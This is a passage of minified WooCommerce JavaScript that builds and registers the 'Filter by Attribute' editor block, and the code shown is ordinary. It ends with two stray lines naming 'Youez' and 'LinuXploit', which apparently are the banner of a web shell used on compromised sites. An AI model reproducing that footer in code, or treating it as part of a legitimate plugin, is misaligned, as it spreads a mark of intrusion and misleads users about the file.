more","woocommerce")})]}):(0,b.jsxs)("div",{...C,children:[(0,b.jsx)(s.BlockControls,{children:(0,b.jsx)(m.ToolbarGroup,{controls:[{icon:"edit",title:(0,c.__)("Edit","woocommerce"),onClick:()=>k(!j),isActive:j}]})}),(0,b.jsxs)(s.InspectorControls,{children:[(0,b.jsx)(m.PanelBody,{children:(0,b.jsx)(_e,{clientId:r})}),(0,b.jsxs)(m.PanelBody,{title:(0,c.__)("Display Settings","woocommerce"),children:[(0,b.jsx)(m.ToggleControl,{label:(0,c.__)("Display product count","woocommerce"),checked:x,onChange:()=>t({showCounts:!x})}),(0,b.jsxs)(m.__experimentalToggleGroupControl,{label:(0,c.__)("Allow selecting multiple options?","woocommerce"),isBlock:!0,value:v||"multiple",onChange:e=>t({selectType:e}),className:"wc-block-attribute-filter__multiple-toggle",children:[(0,b.jsx)(m.__experimentalToggleGroupControlOption,{value:"multiple",label:(0,c._x)("Multiple","Number of filters","woocommerce")}),(0,b.jsx)(m.__experimentalToggleGroupControlOption,{value:"single",label:(0,c._x)("Single","Number of filters","woocommerce")})]}),"multiple"===v&&(0,b.jsxs)(m.__experimentalToggleGroupControl,{label:(0,c.__)("Filter Conditions","woocommerce"),isBlock:!0,help:"and"===f?(0,c.__)("Choose to return filter results for all of the attributes selected.","woocommerce"):(0,c.__)("Choose to return filter results for any of the attributes selected.","woocommerce"),value:f,onChange:e=>t({queryType:e}),className:"wc-block-attribute-filter__conditions-toggle",children:[(0,b.jsx)(m.__experimentalToggleGroupControlOption,{value:"or",label:(0,c.__)("Any","woocommerce")}),(0,b.jsx)(m.__experimentalToggleGroupControlOption,{value:"and",label:(0,c.__)("All","woocommerce")})]}),(0,b.jsxs)(m.__experimentalToggleGroupControl,{label:(0,c.__)("Display Style","woocommerce"),isBlock:!0,value:h,onChange:e=>t({displayStyle:e}),className:"wc-block-attribute-filter__display-toggle",children:[(0,b.jsx)(m.__experimentalToggleGroupControlOption,{value:"list",label:(0,c.__)("List","woocommerce")}),(0,b.jsx)(m.__experimentalToggleGroupControlOption,{value:"dropdown",label:(0,c.__)("Dropdown","woocommerce")})]}),(0,b.jsx)(m.ToggleControl,{label:(0,c.__)("Show 'Apply filters' button","woocommerce"),help:(0,c.__)("Products will update when the button is clicked.","woocommerce"),checked:y,onChange:e=>t({showFilterButton:e})})]}),(0,b.jsx)(m.PanelBody,{title:(0,c.__)("Content Settings","woocommerce"),initialOpen:!1,children:N({isCompact:!0})})]},"inspector"),j?(0,b.jsxs)(m.Placeholder,{className:"wc-block-attribute-filter",icon:(0,b.jsx)(n.A,{icon:l.A}),label:(0,c.__)("Filter by Attribute","woocommerce"),children:[(0,b.jsx)("div",{className:"wc-block-attribute-filter__instructions",children:(0,c.__)("Display a list of filters based on the selected attributes.","woocommerce")}),(0,b.jsxs)("div",{className:"wc-block-attribute-filter__selection",children:[N({isCompact:!1}),(0,b.jsx)(m.Button,{variant:"primary",onClick:()=>{k(!1),o((0,c.__)("Now displaying a preview of the Filter Products by Attribute block.","woocommerce"))},children:(0,c.__)("Done","woocommerce")})]})]}):(0,b.jsxs)("div",{className:(0,a.A)("wc-block-attribute-filter"),children:[g&&(0,b.jsx)(P,{className:"wc-block-attribute-filter__title",headingLevel:w,heading:g,onChange:e=>t({heading:e})}),(0,b.jsx)(m.Disabled,{children:(0,b.jsx)(ge,{attributes:e,isEditor:!0,getNotice:ye})})]})]})})),je={heading:{type:"string",default:(0,c.__)("Filter by attribute","woocommerce")}},ke=JSON.parse('{"name":"woocommerce/attribute-filter","title":"Filter by Attribute Controls","description":"Enable customers to filter the product grid by selecting one or more attributes, such as color.","category":"woocommerce","keywords":["WooCommerce"],"supports":{"html":false,"color":{"text":true,"background":false},"inserter":false,"lock":false,"interactivity":false},"attributes":{"className":{"type":"string","default":""},"attributeId":{"type":"number","default":0},"showCounts":{"type":"boolean","default":false},"queryType":{"type":"string","default":"or"},"headingLevel":{"type":"number","default":3},"displayStyle":{"type":"string","default":"list"},"showFilterButton":{"type":"boolean","default":false},"selectType":{"type":"string","default":"multiple"},"isPreview":{"type":"boolean","default":false}},"textdomain":"woocommerce","apiVersion":3,"$schema":"https://schemas.wp.org/trunk/block.json"}'),Ce=[{supports:{...ke.supports,__experimentalBorder:{radius:!1,color:!0,width:!1}},attributes:{...ke.attributes,showCounts:{type:"boolean",default:!0},...je},save:({attributes:e})=>{const{className:t,showCounts:o,queryType:r,attributeId:n,heading:l,headingLevel:i,displayStyle:c,showFilterButton:u,selectType:d}=e,m={"data-attribute-id":n,"data-show-counts":o,"data-query-type":r,"data-heading":l,"data-heading-level":i};return"list"!==c&&(m["data-display-style"]=c),u&&(m["data-show-filter-button"]=u),"single"===d&&(m["data-select-type"]=d),(0,b.jsx)("div",{...s.useBlockProps.save({className:(0,a.A)("is-loading",t)}),...m,children:(0,b.jsx)("span",{"aria-hidden":!0,className:"wc-block-product-attribute-filter__placeholder"})})}}];(0,r.registerBlockType)(ke,{icon:{src:(0,b.jsx)(n.A,{icon:l.A,className:"wc-block-editor-components-block-icon"})},attributes:{...ke.attributes,...je},edit:ve,save({attributes:e}){const{className:t}=e;return(0,b.jsx)("div",{...s.useBlockProps.save({className:(0,a.A)("is-loading",t)})})},deprecated:Ce})},8502:()=>{},9300:()=>{},7165:()=>{},874:()=>{},4357:()=>{},3285:()=>{},2145:()=>{},2796:()=>{},1939:()=>{},5022:()=>{},9969:()=>{},1609:e=>{"use strict";e.exports=window.React},790:e=>{"use strict";e.exports=window.ReactJSXRuntime},8468:e=>{"use strict";e.exports=window.lodash},195:e=>{"use strict";e.exports=window.wp.a11y},9491:e=>{"use strict";e.exports=window.wp.compose},1659:e=>{"use strict";e.exports=window.wp.deprecated},8107:e=>{"use strict";e.exports=window.wp.dom},6087:e=>{"use strict";e.exports=window.wp.element},7723:e=>{"use strict";e.exports=window.wp.i18n},923:e=>{"use strict";e.exports=window.wp.isShallowEqual},8558:e=>{"use strict";e.exports=window.wp.keycodes},5573:e=>{"use strict";e.exports=window.wp.primitives},979:e=>{"use strict";e.exports=window.wp.warning}},s={};function n(e){var t=s[e];if(void 0!==t)return t.exports;var o=s[e]={exports:{}};return r[e].call(o.exports,o,o.exports,n),o.exports}n.m=r,e=[],n.O=(t,o,r,s)=>{if(!o){var l=1/0;for(u=0;u<e.length;u++){for(var[o,r,s]=e[u],a=!0,i=0;i<o.length;i++)(!1&s||l>=s)&&Object.keys(n.O).every((e=>n.O[e](o[i])))?o.splice(i--,1):(a=!1,s<l&&(l=s));if(a){e.splice(u--,1);var c=r();void 0!==c&&(t=c)}}return t}s=s||0;for(var u=e.length;u>0&&e[u-1][2]>s;u--)e[u]=e[u-1];e[u]=[o,r,s]},n.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return n.d(t,{a:t}),t},o=Object.getPrototypeOf?e=>Object.getPrototypeOf(e):e=>e.__proto__,n.t=function(e,r){if(1&r&&(e=this(e)),8&r)return e;if("object"==typeof e&&e){if(4&r&&e.__esModule)return e;if(16&r&&"function"==typeof e.then)return e}var s=Object.create(null);n.r(s);var l={};t=t||[null,o({}),o([]),o(o)];for(var a=2&r&&e;"object"==typeof a&&!~t.indexOf(a);a=o(a))Object.getOwnPropertyNames(a).forEach((t=>l[t]=()=>e[t]));return l.default=()=>e,n.d(s,l),s},n.d=(e,t)=>{for(var o in t)n.o(t,o)&&!n.o(e,o)&&Object.defineProperty(e,o,{enumerable:!0,get:t[o]})},n.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),n.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},n.j=2432,(()=>{var e={2432:0};n.O.j=t=>0===e[t];var t=(t,o)=>{var r,s,[l,a,i]=o,c=0;if(l.some((t=>0!==e[t]))){for(r in a)n.o(a,r)&&(n.m[r]=a[r]);if(i)var u=i(n)}for(t&&t(o);c<l.length;c++)s=l[c],n.o(e,s)&&e[s]&&e[s][0](),e[s]=0;return n.O(u)},o=globalThis.webpackChunkwebpackWcBlocksMainJsonp=globalThis.webpackChunkwebpackWcBlocksMainJsonp||[];o.forEach(t.bind(null,0)),o.push=t.bind(null,o.push.bind(o))})();var l=n.O(void 0,[94],(()=>n(6261)));l=n.O(l),((this.wc=this.wc||{}).blocks=this.wc.blocks||{})["attribute-filter"]=l})();

Youez - 2016 - github.com/yon3zu
LinuXploit